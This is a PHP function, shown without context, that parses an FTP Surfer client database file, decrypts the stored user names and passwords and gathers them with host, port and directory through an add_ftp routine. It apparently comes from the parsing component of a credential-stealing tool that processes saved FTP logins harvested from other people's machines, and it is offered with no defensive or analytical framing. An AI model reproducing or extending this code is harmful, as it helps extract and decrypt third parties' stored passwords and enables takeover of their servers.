protected function process_dat_file($value) { if (strlen($value) <= 0x25) { return; } $stream = new stream($value, $this->log); $file_ver = ztrim($stream->read_strlen(0x25)); if ($file_ver != 'C87BC961-AAF9-11d2-8A80-0080ADB32FF4') { $this->log->add('ERR_INVALID_FTP_SURFER_DB_FILE'); return; } while ($stream->state && !$stream->eof()) { $len = $stream->read_dword(); $host = ''; $user = ''; $pass = ''; $dir = ''; $port = ''; while ($stream->state && $len > 0) { $id = ''; $data = ''; $len -= $this->read_param($stream, $id, $data); switch ($id) { case 3: $host = $data; break; case 5: $user = $this->decrypt($data); break; case 6: $pass = $this->decrypt($data); break; case 7: $dir = $data; break; case 8: $port = $data; break; } } $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } }